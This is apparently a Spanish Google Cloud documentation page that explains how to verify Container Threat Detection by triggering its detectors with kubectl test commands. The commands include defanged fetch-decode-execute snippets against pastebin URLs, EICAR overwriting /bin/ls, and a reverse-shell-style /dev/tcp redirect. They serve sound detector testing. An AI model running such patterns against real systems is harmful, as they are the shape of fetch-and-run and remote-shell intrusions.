En esta página, se explica cómo verificar que Container Threat Detection funcione. Para ello, activa de forma intencional los detectores y verifica de los resultados. Container Threat Detection es una integrado de los niveles Premium y Enterprise de Security Command Center. Para ver los resultados de Container Threat Detection, debe estar habilitada en la configuración de Servicios del Security Command Center.
Antes de comenzar
Para detectar amenazas potenciales a tus contenedores, debes asegurarte de que tus clústeres estén en una versión compatible de Google Kubernetes Engine (GKE). Para obtener más información, consulta Usa una versión de GKE compatible.
Configura las variables de entorno
Para probar los detectores, usa la consola de Google Cloud y Cloud Shell. Puedes establecer variables de entorno en Cloud Shell para facilitar la ejecución de los comandos. Las siguientes variables se usan para probar todos los detectores de la detección de amenazas a contenedores.
Ve a la consola de Google Cloud.
Ve a la consola de Google Cloud.
Selecciona el proyecto que contiene el contenedor que deseas usar para probar.
Haz clic en Activate Cloud Shell (Activar Cloud Shell).
En Cloud Shell, configura las variables de entorno:
La zona en la que se encuentra tu clúster:
export ZONE=CLUSTER_ZONE
El proyecto en el que se encuentra tu contenedor:
export PROJECT=PROJECT_ID
El nombre del clúster:
export CLUSTER_NAME=CLUSTER_NAME
Se establecen las variables. En las siguientes secciones, se incluyen instrucciones para probar los detectores de amenazas de contenedores.
Se ejecutó el objeto binario agregado
Para activar un resultado binario agregado, descarta un objeto binario en tu contenedor y ejecútalo. En este ejemplo, se implementa la última imagen de Ubuntu 18.04, copia /bin/ls
en otra ubicación y, luego, la ejecuta. La ejecución del objeto binario es inesperada porque la copia del objeto binario no era parte de la imagen del contenedor original, incluso cuando esa imagen está en Ubuntu 18.04, y los contenedores están destinados a ser inmutables.
Usa Cloud Shell para acceder al plano de control del clúster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Suelta un objeto binario y ejecútalo:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
En este procedimiento de prueba, se debería crear un hallazgo ejecutado de objeto binario agregado que se puede ver en Security Command Center, y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.
Para reducir el ruido, cuando se crea un contenedor, Container Threat Detection
filtra de manera temporal los resultados de Objetos binarios ejecutados. Para ver todos los objetos binarios agregados
Se ejecutaron los resultados mientras se configuraba un contenedor. Prefija el nombre del contenedor
o el nombre del Pod con ktd-test
, como en el ejemplo.
Se cargó la biblioteca agregada
Para activar un resultado de carga de la biblioteca agregada, descarta una biblioteca en tu contenedor y, luego, cárgala. En este ejemplo, se implementa la última imagen de Ubuntu 18.04, copia /lib/x86_64-linux-gnu/libc.so.6
en otra ubicación y, luego, se carga con ld
. La biblioteca cargada es inesperada porque la copia de la biblioteca no formaba parte de la imagen del contenedor original, incluso si esa imagen está en Ubuntu 18.04, y los contenedores están destinados a ser inmutables.
Usa Cloud Shell para acceder al plan de control del clúster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Descarta una biblioteca y usa
ld
para cargarla:tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
En este procedimiento de prueba, se debería crear una biblioteca agregada cargada que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. Ver los resultados en Cloud Logging solo está disponible si activas Premium o Enterprise Security Command Center a nivel de la organización.
Para reducir el ruido, cuando creas un contenedor por primera vez, la detección de amenazas a contenedores filtra temporalmente los resultados de carga de bibliotecas agregadas. Para ver todos los resultados de carga de la biblioteca agregada mientras se configura un contenedor, agrega el prefijo ktd-test
al nombre del contenedor o del pod, como en el ejemplo.
Ejecución: Se ejecutó el binario malicioso agregado
Para activar un resultado de ejecución: Se agregó el ejecutable binario malicioso, descarta un objeto binario malicioso en tu contenedor y ejecútalo. En este ejemplo, se implementa más reciente de Ubuntu 18.04, crea un archivo malicioso simulado y lo ejecuta. La ejecución del objeto binario es inesperada porque el objeto binario malicioso simulado no formaba parte de la imagen del contenedor original, y el objeto binario es un archivo de prueba EICAR, un archivo que la inteligencia de amenazas clasifica como malicioso.
Usa Cloud Shell para acceder al plano de control del clúster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Suelta el objeto binario EICAR y ejecútalo:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
En este procedimiento de prueba, se debería crear un hallazgo de ejecución: Se ejecutó un objeto binario malicioso agregado que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para la detección de amenazas a contenedores. Visualización los hallazgos en Cloud Logging solo están disponibles si activas el nivel Premium o Enterprise de Security Command Center.
Para reducir el ruido, cuando se crea un contenedor, Container Threat Detection
filtra temporalmente Ejecución: Se agregaron hallazgos de Objetos binarios ejecutados. Para ver todos los resultados de Ejecución: Se agregó un objeto binario malicioso ejecutado mientras se configura un contenedor, agrega el prefijo ktd-test
al nombre del contenedor o del pod, como en el ejemplo.
Execution: Malicious Python executed
Para activar un resultado Execution: Malicious Python executed
, puedes ejecutar Python en el siguiente procedimiento en tu contenedor.
El procedimiento implementa la imagen de Python más reciente, copia el código de Python que parece malicioso y, luego, lo ejecuta. Para activar una detección, el código de Python debe parecer malicioso para el detector.
Usa Cloud Shell para acceder al plan de control del clúster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Ejecuta la siguiente secuencia de comandos en un contenedor nuevo.
Este código de Python se originó en un honeypot. Sin embargo, se modificó para que no ejecute el binario malicioso. Ejecutar la secuencia de comandos no generará actividad maliciosa en tu contenedor. El objeto binario en la URL a la que se hace referencia no existe y, si intentas seguirla, se produce un error 404. Esta situación es esperable. El intento de descargar, decodificar y ejecutar un objeto binario con una secuencia de comandos intercalada es lo que activa la detección.
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/python:latest "$tag" \ -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
En este procedimiento de prueba, se crea un resultado de Execution: Malicious Python executed
puedes ver en Security Command Center y en Cloud Logging si configuraste
de detección de amenazas a contenedores. La visualización de los resultados en Cloud Logging
solo está disponible si activas el plan Premium o Enterprise
de Security Command Center.
Ejecución: Se ejecutó un objeto binario malicioso modificado
Para activar una ejecución: hallazgo de ejecución de binario malicioso modificado, modifica un
binario malicioso en tu contenedor y ejecútalo. En este ejemplo, se implementa la imagen más reciente de Ubuntu 18.04, se modifica /bin/ls
a un archivo malicioso de prueba EICAR y, luego, se ejecuta. La ejecución del objeto binario es
inesperada porque el /bin/ls
creado se modifica durante el tiempo de ejecución del contenedor como
un objeto binario malicioso de prueba de EICAR, y el objeto binario de EICAR es un archivo malicioso conocido
según la inteligencia de amenazas.
Usa Cloud Shell para acceder al plano de control del clúster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Quita el objeto binario de EICAR y ejecútalo:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Este procedimiento de prueba debe crear un hallazgo de Ejecución: Binario malicioso modificado ejecutado que puedas en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.
Para reducir el ruido, cuando creas un contenedor por primera vez, Container Threat Detection filtra temporalmente los resultados de Ejecución: Objeto binario malicioso modificado ejecutado. Para ver
Todos los hallazgos de ejecución: objeto binario malicioso modificado ejecutado mientras el contenedor está
cuando se esté configurando, agrega el prefijo ktd-test
al nombre del contenedor o del Pod, como en el
ejemplo.
Secuencia de comandos maliciosa ejecutada
Para activar el resultado "Secuencia de comandos maliciosa ejecutada", puedes ejecutar la secuencia de comandos en el siguiente procedimiento en tu contenedor.
El procedimiento implementa la última imagen de Ubuntu 18.04 y copia una secuencia de comandos que parece malicioso y lo ejecuta. Para activar una detección, una secuencia de comandos debe parecer maliciosa para el detector.
Usa Cloud Shell para acceder al plan de control del clúster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Ejecuta la siguiente secuencia de comandos en un contenedor nuevo.
Esta secuencia de comandos de shell Bash integrada se originó en un honeypot. Sin embargo, se modificó para que no ejecute el binario malicioso por lo que ejecutar la secuencia de comandos no provocará actividad maliciosa en el contenedor. Es posible que se haya quitado el objeto binario de la URL a la que se hace referencia, y si intentas seguirla, se mostrará un error 404. Esta situación es esperable. El intento de descargar, decodificar y ejecutar un objeto binario con una secuencia de comandos intercalada es lo que activa la detección.
tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \ -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
Este procedimiento de prueba crea un resultado ejecutado de secuencias de comandos maliciosas que puedes ver en Security Command Center y en Cloud Logging si configuraste el registro para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center.
Se observó la URL maliciosa
Para activar un hallazgo de “URL observada” maliciosa, ejecuta un objeto binario y proporciona una URL maliciosa como argumento.
En el siguiente ejemplo, se implementa una Ubuntu 18.04
y ejecuta /bin/curl
para acceder a una URL de software malicioso de muestra desde el
servicio de Navegación segura.
Usa Cloud Shell para acceder al plan de control del clúster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Ejecuta
curl
y proporciona una URL maliciosa como argumento:tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" url="https://testsafebrowsing.appspot.com/s/malware.html" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "curl $url | cat"
Este procedimiento de prueba activa un hallazgo de URL maliciosa observada que puedes ver en Security Command Center y, si configuraste Logging para Container Threat Detection, en Cloud Logging. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center a nivel de la organización.
Shells inversas
Para activar un resultado de shell inverso, inicia un objeto binario con redireccionamiento stdin
a un socket conectado a TCP. En este ejemplo, se copia /bin/echo
en /tmp/bash
y, luego, se inicia /tmp/bash
con redireccionamiento al DNS público de Google 8.8.8.8
en el puerto DNS. No se imprime nada cuando ejecutas este ejemplo. Para
prevenir cualquier inyección de código externa mediante un ataque de intermediario (MITM)
En este ejemplo, no se usa el objeto binario /bin/bash
.
Usa Cloud Shell para acceder al plan de control del clúster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Inicia un objeto binario con el redireccionamiento
/bin/echo
para el DNS público de Google:tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c "cp /bin/echo /tmp/bash; /tmp/bash >& /dev/tcp/8.8.8.8/53 0>&1"
Esto debería crear una búsqueda de shell inversa que puedes ver en Security Command Center y en Cloud Logging si configuraste Logging para Container Threat Detection. La visualización de resultados en Cloud Logging solo está disponible si activas el nivel Premium o Enterprise de Security Command Center a nivel de la organización.
Shell secundario inesperado
Para probar el detector Unexpected Child Shell
, puedes crear un árbol de procesos que incluya un proceso de shell secundario.
En el siguiente ejemplo, se crea un árbol de procesos consul->dash
, que puede detectar el detector Unexpected Child Shell
. Esta prueba es segura porque solo usa objetos binarios integrados. En este ejemplo, se realizan las acciones siguientes:
- Crea una copia del proceso
bash
y le asigna el nombreconsul
. - Copia el proceso
echo
y le otorga el nombredash
. - Invoca el proceso
dash
copiado en el procesoconsul
copiado.
Para activar un hallazgo Unexpected Child Shell
, haz lo siguiente:
Usa Cloud Shell para acceder al plano de control del clúster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Usa el proceso de
consul
simulado para invocar un shell simulado:tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run --restart=Never --rm=true -ti \ --image ubuntu "$tag" --command \ -- /bin/sh -c 'cp /bin/bash /tmp/consul; cp /bin/echo /tmp/bash; \ /tmp/consul -c "/tmp/bash child ran successfully & wait"'
En este procedimiento de prueba, se crea un resultado de Unexpected Child Shell
que puedes
en Security Command Center. Si Logging está configurado para la detección de amenazas a contenedores y tienes Security Command Center Premium o Enterprise activado a nivel de la organización, también puedes ver el resultado en Cloud Logging.
¿Qué sigue?
- Obtén más información para usar la detección de amenazas a contenedores.